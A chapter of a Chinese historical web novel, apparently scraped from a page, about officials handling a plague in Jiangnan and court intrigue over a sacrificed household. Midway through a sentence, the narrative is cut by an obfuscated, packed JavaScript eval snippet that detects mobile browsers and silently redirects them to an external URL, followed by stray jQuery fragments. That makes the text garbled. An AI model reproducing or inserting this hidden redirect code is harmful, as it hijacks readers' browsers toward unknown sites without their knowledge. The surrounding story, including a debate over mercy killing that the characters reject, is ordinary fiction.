江南梅雨季未过，从檐上落下的水珠俨然成了另一场暴雨。


    袁宅被重重围住，密不透风，但凡是进去的就不允许再出来，如今宅子外面剩余不过二十几人。


    外头的情况不好，里头的更不用说，本就寸步难行，偏又赶上接连暴雨，青石板上铺了一层被雨打落的银杏叶，几乎都要烂掉了。


    温雪音撑着伞，以布遮面，跨过几方台阶站到了袁宅檐下，隔着一道紧闭的门，高声问道：“你到底是真伤寒还是被感染了？”


    傅思孺不敢靠近那扇门，纵使高墙围堵朱门严密，他也得时刻担心这样交流会不会让外面的人染上疫病。


    他实话实说，语气虚弱：“大概是染上了，现在终于共患难了，解百姓之难还是要先自己体会。”


    温雪音不知道该说些什么了，沉默良久，她轻轻呼出一口气：“今日死伤多少？”


    “十几人，最后实在救不回来了。”傅思孺谈及此，不由得郁闷起来，来江南这些日子，景色是半分没看，入眼全是溃烂的腐肉，被雨浸湿后，一股发霉的木头味就和呛人的血腥味一起钻入其他人的鼻腔，就算隔着厚厚的面帘、烧着终日不熄的艾草，也依然避免不了。


    里面的情况越来越差，外面驻扎的人不得不进去查看，凶多吉少是注定的，凶到最后，已经无人敢进了。


    傅思孺就是这时候翻进的袁宅大门。


    可他也开始不确定了，倘若做官是为立命，那如今又该如何？


    无能为力的疲惫越来越浓重，事到如今，傅思孺都不知道自己是如何撑到现在的。


    “京城那边呢？可有消息？傅识若怎么样了？”


    “没有了，早就断联了。傅识若暂且回不去，宋却将调令的权力给了我。”


    傅识若和陈山风的几支队伍停在洛阳，比京城和吴中都要安全不少，可疫病不消就一刻难安，是留是回，如今尚未决断出来。


    “无妨，你也别有压力，能走到现在这一步的，就没有怕死的。宋却既然把调令交给你，那你放心去做就是了。”傅思孺想了想，总觉得只说这一句不太好，于是又补了一句，“近日交上来的药方比前些日子好了不少，至少能止咳，我喝了一碗，生龙活虎的。”


    温雪音想说止咳的话枇杷霜也行，但一听到对面那人虚弱的语气，又不好再说什么。


    安慰的话说来说去也就那几句，她要是驳了这一句，那天下就少了一个说这话的人，为数不多的话又少了一句。何苦来呢。


    于是温雪音也安慰道：“那就好。正好，你现在病了，太医试药再不用从百姓里挑了，大家喝得也能安稳些。”


    傅思孺：“……”


    等会儿这是安慰吗？


    傅思孺挠了挠头：“说得也是。”


    大概是梅雨季雨水太足，整日阴雨连绵让人心有闷闷，抱着互相取暖的慰藉，温雪音难得与傅思孺多聊了两句，这才折返到远处临时搭建的小亭子。


    小亭子里坐了个长相阴柔的男子，但骨架不算小，垂眸不语时像一座雕像。


    这座雕像在半月前千难万险地来到江南，宋却给他递了密信，信中有中书令的令牌，助他一路无阻地前往这片雨流不止的富庶之地。


    与此同时，京城收到了北疆人入侵江南的消息。


    但这件事，塔尔莱暮起初并不知晓，他只知道这里莫名其妙多了很多自称“自己人”的中原人，令他有点费解，并且开始怀疑宋却的用意。


    他听到温雪音折返的脚步声，抬头问道：“我来这里，只坐着吗？”


    温雪音对塔尔莱暮没什么好脸色，毕竟是个外乡人，还是宋却塞过来当由头的关系户。她将伞收起，甩了甩上面的水，搁到一旁：“站着也行。”


    塔尔莱暮抿了抿唇，用边塞语嘀咕了两句，才换回中原的话：“我能帮忙。”


    “来这么多天也没见你帮过什么。”温雪音这话说得毫无嘲讽的意思，她认认真真仔仔细细地想了半天，才带着肯定的语气说出这句事实，真诚得有些可怕，甚至让没学好官话的塔尔莱暮产生了一瞬间的迷茫：她是不是在阴阳怪气？


    她坐到塔尔莱暮对面，怀着广纳贤才的心问道：“你能帮什么？”


    “杀人。”塔尔莱暮说，“有些人，救不回来。喂再多的药都没用。不如痛快去死。”


    “不行。”


    “凭什么？”


    塔尔莱暮是真的不明白。战俘获刑时都要讲究痛快，吊着一口气缓缓让人感受死亡都是审讯的手段，为什么不在这些人病入膏肓时给他们一个痛快，非要将人强留于世？


    痛苦地活着就一定会好吗？看着身上的皮肉一点点掉落，露出可怖的血色，腥味掺在雨里渗透到周围的每个角落。四四方方的天空圈着一大群人，连互相看对方一眼的勇气都没有……类似于“活不下去了”的声音每天都顺着那几棵银杏树冒出来，这样的日子真的能有尽头吗？


    温雪音摇了摇头：“人在尚未咽气时都是完整意义上的‘活着’，只有犯了法的才能在大理寺的监督下被处死，这时，只要旁人插手一下，无论出发点是好是坏，都算‘草菅人命’，而死了的这些人则叫‘枉死’。”


    “如果此时心软，想给病人一个痛快，那其他的人会怎么想？想死是一瞬间的事，想活才是人之常情，等求死的热情退却，有的人会感谢你的不忍，但是还有的人会在事情结束后转头为这些被杀的人哭泣，更有一部分人，原本想努力活着，但一看到可以死得这么痛快，立马就求死，人心萎靡，事有所阻。”


    温雪音看出塔尔莱暮的似懂非懂，继续解释：“你们常打仗的应该懂这个道理才是，旗靡辙乱，心不往一处使，该如何让他们听从命令出生入死？这也是一样的，让他们知道除非尸体硬了，不然就算是只有一口气，都得好好活着。这不光是他们的事，也是我们的事，他们尽力而活，我们也尽力去治，事在人为。”


    塔尔莱暮可能听懂了一点，但他深谙学习之道，清楚此时绝不可以提问，必须要恍然大悟地点头，才能证明自己并非顽石一块，慧根尚存。所以他抿着嘴，点了点头。


    温雪音鼻息一重，聊作嘲笑，她明白对方是个未开化的动物，并不点破，只别过头去。


    好歹塔尔莱暮也学过一点什么，比如在老师沉默时适当抛出一个在自己接受范围之内的问题：“治到现在不也没用吗？”


    温雪音：“……”


    但这个问题显然不在温雪音的接受范围内。


    “你想多了吧？”


    温雪音一怔：“什么？”


    塔尔莱暮的脑子崭新，沟壑和弯绕和比旁人少了些，因此心思勉强也能算上澄澈。他对温雪音事事都要包


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596988|151348||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    揽并苦恼于事事的做法很是不解，这份不解还持续了半个月。


    “这也不是你该考虑的。”塔尔莱暮问道，“你手上有调令，想的应该是怎么杀回京城。”


    温雪音不说话了。她自诩学得又多又精，如今到江南，就应该兼顾万事。


    怎么就能忘了京城中盘踞着蠢蠢欲动的一条毒蛇呢？


    “你刚上任？”


    温雪音有点微妙的难堪，但发觉对面的人并没有任何嘲笑的意思，也就不太抗拒地点了点头。


    “哦，难怪。”塔尔莱暮抚摸着腰间的佩剑，上面镶嵌的宝石在这种天气下显得有些黯淡，“我是觉得，我千里迢迢到这里，不只是作为一个官兵入城的理由。”


    当局者迷，温雪音脑子里乱成一团。调令兵符具在，肯定是宋却希望她有所作为，能这样大大方方地将北疆人放进来并驻扎在袁宅门口……


    温雪音不敢确认。她好像把所有的事情都想得太过极端，当奸臣还是当忠臣，都要黑白分明地在一条路上走到黑。


    她本应该很了解宋却才对，毕竟跟陶闻殊师出同门，她应该有几分样子与陶闻殊相似。


    温雪音从袖中摸出调令，那是宋却亲笔书写，盖了私印，因为涉及北疆，这个调令不可以被任何人发现。


    可她如果真的要这么做，又为什么不说呢？白纸黑字也好，口头许诺也好，她只要告诉自己，就不必陷在大雨囹圄中了。


    “我要是会错意了呢？”温雪音问着，也不知道问他还是问自己。


    “那就怪宋姑娘。”


    原是如此。


    “……北疆目无法度，戕害人命，残害袁宅……残害吴中百姓，现将其捉拿。”


    塔尔莱暮一把抢过温雪音手边的面罩，从小篮子里抓了一把艾草香囊。倾城的大雨中剑光闪烁，原本还算平静的袁宅却突然被闯入了。


    燥热的京城怨声载道，城门被剧烈地拍响，封城的日子里，这是为数不多的外界的消息。


    徐敬慈打听一番后连忙将人扣住，策马扬鞭赶往中书令府。


    盛夏闷热，可宋却的病迟迟不见好，一进院门就闻到难以忽视的药味。


    他急匆匆地问过宋却的动向，走向书房。


    清苦的药味顷刻间席卷了徐敬慈，宋却摆了摆手，示意尺素退下。一时间，在城门口大喊着“袁氏被屠”的那人，成了一根卡在嗓子的鱼刺，咽下还是吐出都十分困难。


    “宋却，我跟你说，你别……”徐敬慈朝着她迈开步子，可还没走几步，就闻到混杂在药味当中的血腥味。


    宋却大概是刚咳了好一阵，碎发乱糟糟的黏在了鬓角，她捂着手帕，随意地朝着徐敬慈看了一眼——


    真是毫无波澜事事洞察的一眼。


    “你早知道了？”徐敬慈说不清心里是什么感觉，大概是不可置信居多一些，“给温雪音调令，把塔尔莱暮送去江南，就是为了这个？”


    宋却攥着手帕，想要说些什么，可话刚要出口，就被插队的血腥气打断，一口血落在本就脏污的帕子上。


    尺素还未离开，现下正好扶着摇摇欲坠的宋却。


    “你来……你来兴师问罪的？”宋却扶着桌案咳了两声，越发虚弱，“对，就是为了这个。朝廷动不得的人，北疆人可以动，他们说得没错，放弃一批人，是明智之举。”